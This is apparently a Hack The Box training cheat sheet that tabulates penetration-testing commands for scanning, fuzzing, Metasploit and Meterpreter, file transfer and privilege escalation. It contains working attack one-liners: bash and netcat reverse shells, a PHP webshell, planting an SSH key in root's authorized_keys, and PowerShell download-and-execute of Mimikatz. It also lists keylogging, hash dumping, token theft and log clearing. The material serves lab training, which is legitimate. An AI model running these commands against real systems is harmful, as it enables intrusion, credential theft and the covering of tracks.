🟩HTB Cheet Sheet

Hack The Box Cheet Sheet

Basic Commands

Command	Description
General
sudo openvpn user.ovpn	Connect to VPN
ifconfig/ip a	Show our IP address
netstat -rn	Show networks accessible via the VPN
ssh user@10.10.10.10	SSH to a remote server
ftp 10.129.42.253	FTP to a remote server
tmux
tmux	Start tmux
ctrl+b	tmux: default prefix
prefix c	tmux: new window
prefix 1	tmux: switch to window (1)
prefix shift+%	tmux: split pane vertically
prefix shift+"	tmux: split pane horizontally
prefix ->	tmux: switch to the right pane
Vim
vim file	vim: open file with vim
esc+i	vim: enter insert mode
esc	vim: back to normal mode
x	vim: Cut character
dw	vim: Cut word
dd	vim: Cut full line
yw	vim: Copy word
yy	vim: Copy full line
p	vim: Paste
:1	vim: Go to line number 1.
:w	vim: Write the file 'i.e. save'
:q	vim: Quit
:q!	vim: Quit without saving
:wq	vim: Write and quit

Pentesting

Command	Description
Service Scanning
nmap 10.129.42.253	Run nmap on an IP
nmap -sV -sC -p- 10.129.42.253	Run an nmap script scan on an IP
locate scripts/citrix	List various available nmap scripts
nmap --script smb-os-discovery.nse -p445 10.10.10.40	Run an nmap script on an IP
netcat 10.10.10.10 22	Grab banner of an open port
smbclient -N -L \\\\10.129.42.253	List SMB Shares
smbclient \\\\10.129.42.253\\users	Connect to an SMB share
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0	Scan SNMP on an IP
onesixtyone -c dict.txt 10.129.42.254	Brute force SNMP secret string
Web Enumeration
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt	Run a directory scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt	Run a sub-domain scan on a website
curl -IL https://www.inlanefreight.com	Grab website banner
whatweb 10.10.10.121	List details about the webserver/certificates
curl 10.10.10.121/robots.txt	List potential directories in robots.txt
ctrl+U	View page source (in Firefox)
Public Exploits
searchsploit openssh 7.2	Search for public exploits for a web application
msfconsole	MSF: Start the Metasploit Framework
search exploit eternalblue	MSF: Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexec	MSF: Start using an MSF module
show options	MSF: Show required options for an MSF module
set RHOSTS 10.10.10.40	MSF: Set a value for an MSF module option
check	MSF: Test if the target server is vulnerable
exploit	MSF: Run the exploit on the target server is vulnerable
Using Shells
nc -lvnp 1234	Start a nc listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'	Send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f	Another command to send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f	Start a bind shell on the remote server
nc 10.10.10.1 1234	Connect to a bind shell started on the remote server
python -c 'import pty; pty.spawn("/bin/bash")'	Upgrade shell TTY (1)
ctrl+z then stty raw -echo then fg then enter twice	Upgrade shell TTY (2)
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php	Create a webshell php file
curl http://SERVER_IP:PORT/shell.php?cmd=id	Execute a command on an uploaded webshell
Privilege Escalation
./linpeas.sh	Run linpeas script to enumerate remote server
sudo -l	List available sudo privileges
sudo -u user /bin/echo Hello World!	Run a command with sudo
sudo su -	Switch to root user (if we have access to sudo su)
sudo su user -	Switch to a user (if we have access to sudo su)
ssh-keygen -f key	Create a new SSH key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys	Add the generated public key to the user
ssh root@10.10.10.10 -i key	SSH to the server with the generated private key
Transferring Files
python3 -m http.server 8000	Start a local webserver
wget http://10.10.14.1:8000/linpeas.sh	Download a file on the remote server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh	Download a file on the remote server from our local machine
scp linenum.sh user@remotehost:/tmp/linenum.sh	Transfer a file to the remote server with scp (requires SSH access)
base64 shell -w 0	Convert a file to base64
echo f0VMR...SNIO...InmDwU | base64 -d > shell	Convert a file from base64 back to its orig
md5sum shell	Check the file's md5sum to ensure it converted correctly

Commands

Command	Description
curl http:/SERVER_IP:PORT/	cURL GET request
curl -s http:/SERVER_IP:PORT/ -X POST	cURL POST request
curl -s http:/SERVER_IP:PORT/ -X POST -d "param1=sample"	cURL POST request with data
echo hackthebox | base64	base64 encode
echo ENCODED_B64 | base64 -d	base64 decode
echo hackthebox | xxd -p	hex encode
echo ENCODED_HEX | xxd -p -r	hex decode
echo hackthebox | tr 'A-Za-z' 'N-ZA-Mn-za-m'	rot13 encode
echo ENCODED_ROT13 | tr 'A-Za-z' 'N-ZA-Mn-za-m'	rot13 decode

Deobfuscation Websites

Website

JS Console

Prettier

Beautifier

JSNice

Misc

Command	Description
ctrl+u	Show HTML source code in Firefox

Linux Commands

Command	Description
man <tool>	Opens man pages for the specified tool.
<tool> -h	Prints the help page of the tool.
apropos <keyword>	Searches through man pages' descriptions for instances of a given keyword.
cat	Concatenate and print files.
whoami	Displays current username.
id	Returns users identity.
hostname	Sets or prints the name of the current host system.
uname	Prints operating system name.
pwd	Returns working directory name.
ifconfig	The ifconfig utility is used to assign or view an address to a network interface and/or configure network interface parameters.
ip	Ip is a utility to show or manipulate routing, network devices, interfaces, and tunnels.
netstat	Shows network status.
ss	Another utility to investigate sockets.
ps	Shows process status.
who	Displays who is logged in.
env	Prints environment or sets and executes a command.
lsblk	Lists block devices.
lsusb	Lists USB devices.
lsof	Lists opened files.
lspci	Lists PCI devices.
sudo	Execute command as a different user.
su	The su utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser). A shell is then executed.
useradd	Creates a new user or update default new user information.
userdel	Deletes a user account and related files.
usermod	Modifies a user account.
addgroup	Adds a group to the system.
delgroup	Removes a group from the system.
passwd	Changes user password.
dpkg	Install, remove and configure Debian-based packages.
apt	High-level package management command-line utility.
aptitude	Alternative to apt.
snap	Install, remove and configure snap packages.
gem	Standard package manager for Ruby.
pip	Standard package manager for Python.
git	Revision control system command-line utility.
systemctl	Command-line based service and systemd control manager.
ps	Prints a snapshot of the current processes.
journalctl	Query the systemd journal.
kill	Sends a signal to a process.
bg	Puts a process into background.
jobs	Lists all processes that are running in the background.
fg	Puts a process into the foreground.
curl	Command-line utility to transfer data from or to a server.
wget	An alternative to curl that downloads files from FTP or HTTP(s) server.
python3 -m http.server	Starts a Python3 web server on TCP port 8000.
ls	Lists directory contents.
cd	Changes the directory.
clear	Clears the terminal.
touch	Creates an empty file.
mkdir	Creates a directory.
tree	Lists the contents of a directory recursively.
mv	Move or rename files or directories.
cp	Copy files or directories.
nano	Terminal based text editor.
which	Returns the path to a file or link.
find	Searches for files in a directory hierarchy.
updatedb	Updates the locale database for existing contents on the system.
locate	Uses the locale database to find contents on the system.
more	Pager that is used to read STDOUT or files.
less	An alternative to more with more features.
head	Prints the first ten lines of STDOUT or a file.
tail	Prints the last ten lines of STDOUT or a file.
sort	Sorts the contents of STDOUT or a file.
grep	Searches for specific results that contain given patterns.
cut	Removes sections from each line of files.
tr	Replaces certain characters.
column	Command-line based utility that formats its input into multiple columns.
awk	Pattern scanning and processing language.
sed	A stream editor for filtering and transforming text.
wc	Prints newline, word, and byte counts for a given input.
chmod	Changes permission of a file or directory.
chown	Changes the owner and group of a file or directory.

Ffuf

Command	Description
ffuf -h	ffuf help
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ	Directory Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ	Extension Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php	Page Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v	Recursive Fuzzing
ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/	Sub-domain Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx	VHost Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx	Parameter Fuzzing - GET
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx	Parameter Fuzzing - POST
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx	Value Fuzzing

Wordlists

Command	Description
/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt	Directory/Page Wordlist
/opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt	Extensions Wordlist
/opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt	Domain Wordlist
/opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt	Parameters Wordlist

Misc

Command	Description
sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'	Add DNS entry
for i in $(seq 1 1000); do echo $i >> ids.txt; done	Create Sequence Wordlist
curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded'	curl w/ POST

MSFconsole Commands

Command	Description
show exploits	Show all exploits within the Framework.
show payloads	Show all payloads within the Framework.
show auxiliary	Show all auxiliary modules within the Framework.
search <name>	Search for exploits or modules within the Framework.
info	Load information about a specific exploit or module.
use <name>	Load an exploit or module (example: use windows/smb/psexec).
use <number>	Load an exploit by using the index number displayed after the search command.
LHOST	Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.
RHOST	The remote host or the target. set function Set a specific value (for example, LHOST or RHOST).
setg <function>	Set a specific value globally (for example, LHOST or RHOST).
show options	Show the options available for a module or exploit.
show targets	Show the platforms supported by the exploit.
set target <number>	Specify a specific target index if you know the OS and service pack.
set payload <payload>	Specify the payload to use.
set payload <number>	Specify the payload index number to use after the show payloads command.
show advanced	Show advanced options.
set autorunscript migrate -f	Automatically migrate to a separate process upon exploit completion.
check	Determine whether a target is vulnerable to an attack.
exploit	Execute the module or exploit and attack the target.
exploit -j	Run the exploit under the context of the job. (This will run the exploit in the background.)
exploit -z	Do not interact with the session after successful exploitation.
exploit -e <encoder>	Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
exploit -h	Display help for the exploit command.
sessions -l	List available sessions (used when handling multiple shells).
sessions -l -v	List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.
sessions -s <script>	Run a specific Meterpreter script on all Meterpreter live sessions.
sessions -K	Kill all live sessions.
sessions -c <cmd>	Execute a command on all live Meterpreter sessions.
sessions -u <sessionID>	Upgrade a normal Win32 shell to a Meterpreter console.
db_create <name>	Create a database to use with database-driven attacks (example: db_create autopwn).
db_connect <name>	Create and connect to a database for driven attacks (example: db_connect autopwn).
db_nmap	Use Nmap and place results in a database. (Normal Nmap syntax is supported, such as –sT –v –P0.)
db_destroy	Delete the current database.
db_destroy <user:password@host:port/database>	Delete database using advanced options.

---

Meterpreter Commands

Command	Description
help	Open Meterpreter usage help.
run <scriptname>	Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.
sysinfo	Show the system information on the compromised target.
ls	List the files and folders on the target.
use priv	Load the privilege extension for extended Meterpreter libraries.
ps	Show all running processes and which accounts are associated with each process.
migrate <proc. id>	Migrate to the specific process ID (PID is the target process ID gained from the ps command).
use incognito	Load incognito functions. (Used for token stealing and impersonation on a target machine.)
list_tokens -u	List available tokens on the target by user.
list_tokens -g	List available tokens on the target by group.
impersonate_token <DOMAIN_NAMEUSERNAME>	Impersonate a token available on the target.
steal_token <proc. id>	Steal the tokens available for a given process and impersonate that token.
drop_token	Stop impersonating the current token.
getsystem	Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.
shell	Drop into an interactive shell with all available tokens.
execute -f <cmd.exe> -i	Execute cmd.exe and interact with it.
execute -f <cmd.exe> -i -t	Execute cmd.exe with all available tokens.
execute -f <cmd.exe> -i -H -t	Execute cmd.exe with all available tokens and make it a hidden process.
rev2self	Revert back to the original user you used to compromise the target.
reg <command>	Interact, create, delete, query, set, and much more in the target’s registry.
setdesktop <number>	Switch to a different screen based on who is logged in.
screenshot	Take a screenshot of the target’s screen.
upload <filename>	Upload a file to the target.
download <filename>	Download a file from the target.
keyscan_start	Start sniffing keystrokes on the remote target.
keyscan_dump	Dump the remote keys captured on the target.
keyscan_stop	Stop sniffing keystrokes on the remote target.
getprivs	Get as many privileges as possible on the target.
uictl enable <keyboard/mouse>	Take control of the keyboard and/or mouse.
background	Run your current Meterpreter shell in the background.
hashdump	Dump all hashes on the target. use sniffer Load the sniffer module.
sniffer_interfaces	List the available interfaces on the target.
sniffer_dump <interfaceID> pcapname	Start sniffing on the remote target.
sniffer_start <interfaceID> packet-buffer	Start sniffing with a specific range for a packet buffer.
sniffer_stats <interfaceID>	Grab statistical information from the interface you are sniffing.
sniffer_stop <interfaceID>	Stop the sniffer.
add_user <username> <password> -h <ip>	Add a user on the remote target.
add_group_user <"Domain Admins"> <username> -h <ip>	Add a username to the Domain Administrators group on the remote target.
clearev	Clear the event log on the target machine.
timestomp	Change file attributes, such as creation date (antiforensics measure).
reboot	Reboot the target machine.

File Transfer

Command	Description
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1	Download a file with PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')	Execute a file in memory using PowerShell
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64	Upload a file with PowerShell
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe	Download a file using Bitsadmin
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe	Download a file using Certutil
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh	Download a file using Wget
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh	Download a file using cURL
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'	Download a file using PHP
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip	Upload a file using SCP
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe	Download a file using SCP
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"	Invoke-WebRequest using a Chrome User Agent

Nmap Options

Nmap Option	Description
10.10.10.0/24	Target network range.
-sn	Disables port scanning.
-Pn	Disables ICMP Echo Requests
-n	Disables DNS Resolution.
-PE	Performs the ping scan by using ICMP Echo Requests against the target.
--packet-trace	Shows all packets sent and received.
--reason	Displays the reason for a specific result.
--disable-arp-ping	Disables ARP Ping Requests.
--top-ports=<num>	Scans the specified top ports that have been defined as most frequent.
-p-	Scan all ports.
-p22-110	Scan all ports between 22 and 110.
-p22,25	Scans only the specified ports 22 and 25.
-F	Scans top 100 ports.
-sS	Performs an TCP SYN-Scan.
-sA	Performs an TCP ACK-Scan.
-sU	Performs an UDP Scan.
-sV	Scans the discovered services for their versions.
-sC	Perform a Script Scan with scripts that are categorized as "default".
--script <script>	Performs a Script Scan by using the specified scripts.
-O	Performs an OS Detection Scan to determine the OS of the target.
-A	Performs OS Detection, Service Detection, and traceroute scans.
-D RND:5	Sets the number of random Decoys that will be used to scan the target.
-e	Specifies the network interface that is used for the scan.
-S 10.10.10.200	Specifies the source IP address for the scan.
-g	Specifies the source port for the scan.
--dns-server <ns>	DNS resolution is performed by using a specified name server.

Output Options

Nmap Option	Description
-oA filename	Stores the results in all available formats starting with the name of "filename".
-oN filename	Stores the results in normal format with the name "filename".
-oG filename	Stores the results in "grepable" format with the name of "filename".
-oX filename	Stores the results in XML format with the name of "filename".

Performance Options

Nmap Option	Description
--max-retries <num>	Sets the number of retries for scans of specific ports.
--stats-every=5s	Displays scan's status every 5 seconds.
-v/-vv	Displays verbose output during the scan.
--initial-rtt-timeout 50ms	Sets the specified time value as initial RTT timeout.
--max-rtt-timeout 100ms	Sets the specified time value as maximum RTT timeout.
--min-rate 300	Sets the number of packets that will be sent simultaneously.
-T <0-5>	Specifies the specific timing template.